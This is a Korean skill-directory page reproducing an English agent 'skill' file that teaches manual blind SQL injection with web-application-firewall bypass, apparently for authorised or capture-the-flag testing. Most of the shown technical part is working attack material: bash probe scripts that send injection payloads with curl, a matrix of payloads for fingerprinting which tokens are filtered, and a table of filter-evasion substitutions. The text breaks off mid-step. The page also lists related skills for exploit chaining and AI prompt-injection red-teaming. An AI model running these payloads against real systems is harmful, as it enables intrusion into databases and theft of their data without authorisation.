blind-sqli
하는 일
이 안내서는 앱이 참이나 거짓 응답만 보여 줄 때의 블라인드 SQL 인젝션을 수동으로 테스트하는 방법을 다룹니다. 허가된 테스트에서 웹 애플리케이션 방화벽을 우회해야 하는 보안 테스터를 위한 가이드입니다.
사용하는 경우
- ✓허가된 테스트에서 참과 거짓 응답의 차이가 뚜렷하지만 일반 도구가 막힐 때.
- ✓웹 방화벽이 흔한 SQL 키워드를 걸러 sqlmap이 통과하지 못할 때.
- ✓최소한의 요청으로 블라인드 인젝션을 확인하는 단계별 접근이 필요한 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“허가된 테스트에서 참과 거짓 응답의 차이는 보이지만 방화벽이 일반 도구를 막습니다. 인젝션을 확인하는 것을 도와주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 먼저 신뢰할 수 있는 참과 거짓 신호를 확인하고, 어떤 키워드가 걸러지는지 테스트한 뒤, 방화벽이 막지 않는 더 단순한 확인을 만듭니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Blind SQL Injection — Manual WAF Bypass
Companion to sqli.md. Load this only after you have:
- Confirmed a stable binary oracle (two distinct page states: "User exists" vs "No results", different content lengths, or different HTTP codes).
- Confirmed sqlmap with
--tampercannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.
If both conditions hold, the goal is to hand-craft a payload that substitutes every filtered SQL token until each oracle probe returns a clean true/false signal, then extract the flag bit-by-bit with the smallest possible request count.
Confirm the oracle first (≤2 minutes)
The whole playbook collapses if your "true" and "false" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:
probe() {
local label="$1"; local payload="$2"
local resp
resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \
--data-urlencode "username=${payload}")
echo "$resp" \
| grep -oE "User exists[^<]*|No results|some item is filtered|Error|Welcome" \
| head -1
}
probe "true probe" "x\"||1=1#" # expect: User exists
probe "false probe" "x\"||1=2#" # expect: No results
probe "filter probe" "x\"||SLEEP(0)#" # expect: filtered (token banned)
A single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but bash's time resolution and HTTP jitter make a content oracle 5-10× more reliable.
Step 1 — WAF token fingerprint (batched probe script)
Test 10-15 candidate tokens in one script, log each as a labelled line. One script run beats 15 sequential bash calls (saves ~70% of the round-trip cost).
cat > /tmp/probe.sh <<'EOF'
#!/usr/bin/env bash
set -u
TARGET="${TARGET:?set TARGET=host:port}"
ENDPOINT="${ENDPOINT:-/search.php}"
PARAM="${PARAM:-username}"
INJ="${INJ:-x\"||{PAYLOAD}#}" # outer template; {PAYLOAD} is replaced
probe() {
local label="$1"; local payload="$2"
local body="${INJ/'{PAYLOAD}'/$payload}"
local resp
resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
--data-urlencode "$PARAM=$body")
local sig
sig=$(echo "$resp" | grep -oE "User exists[^<]*|No results|filtered|some item[^<]*|Error" | head -1)
printf "%-40s | %s\n" "$label" "${sig:-???}"
}
# === SQL token sniff matrix ===
probe "1=1 baseline true" "1=1"
probe "1=2 baseline false" "1=2"
probe "WHERE clause" "EXISTS(SELECT 1 FROM users WHERE 1=1)"
probe "AND keyword" "1=1 AND 1=1"
probe "&& operator" "1=1 && 1=1"
probe "OR keyword" "1=0 OR 1=1"
probe "|| operator" "1=0 || 1=1"
probe "IF function" "IF(1=1,1,0)"
probe "CASE WHEN" "(CASE WHEN 1=1 THEN 1 ELSE 0 END)"
probe "SUBSTRING(str,1,1)" "SUBSTRING('abc',1,1)='a'"
probe "MID(str,1,1)" "MID('abc',1,1)='a'"
probe "ASCII(c)" "ASCII('a')=97"
probe "ORD(c)" "ORD('a')=97"
probe "GROUP_CONCAT()" "GROUP_CONCAT('a','b')='ab'"
probe "single-quote 'a'" "'a'='a'"
probe "double-quote \"a\"" "\"a\"=\"a\""
probe "hex 0x61" "0x61='a'"
probe "arithmetic boolean" "(1=1)*(1=1)=1"
EOF
chmod +x /tmp/probe.sh
TARGET=host.docker.internal:8080 /tmp/probe.sh | tee /tmp/probe.out
Every line that returns ??? (no matching signature) or filtered is a banned token. Every line that flips the oracle correctly (User exists for the true rows, No results for the false rows) is a usable primitive.
Common WAF substitution map (the bench-tested replacements that have worked across multiple targets):
| Filtered token | Substitute that survives |
|---|---|
SUBSTRING(s,i,n) |
MID(s,i,n) |
IF(c,t,f) |
(CASE WHEN c THEN t ELSE f END) or arithmetic (see below) |
AND |
&& |
OR |
|| |
WHERE |
JOIN ... ON subquery, or move predicate into SUM((c1)*(c2)) |
'literal' |
0x6c6974657261 (hex) or CHAR(108,105,116,...) |
GROUP_CONCAT(IF(c,t,0)) |
SUM((c)*ASCII(...)) per position |
Step 2 — boolean evaluation without IF/WHERE/AND
When the WAF strips IF, AND, WHERE together, the cleanest replacement is arithmetic multiplication of booleans. MySQL treats (comparison) as an integer
자주 묻는 질문
바이너리 오라클이란 무엇인가요?
참 질문과 거짓 질문에 대한 응답 패턴이 뚜렷하게 다른 것이며, 안내서는 테스트 전에 이것이 필요하다고 설명합니다.
언제 sqlmap을 대신 쓰나요?
sqlmap이 방화벽을 통과할 수 있다면 먼저 쓰라고 안내서는 설명하며, 이 방법은 더 느리기 때문입니다.
왜 신호를 먼저 확인하나요?
참과 거짓 응답을 구분할 수 없으면 이 접근법이 무너진다고 안내서는 설명합니다.
상세 정보
작성자의 원본 설명
Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14050
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.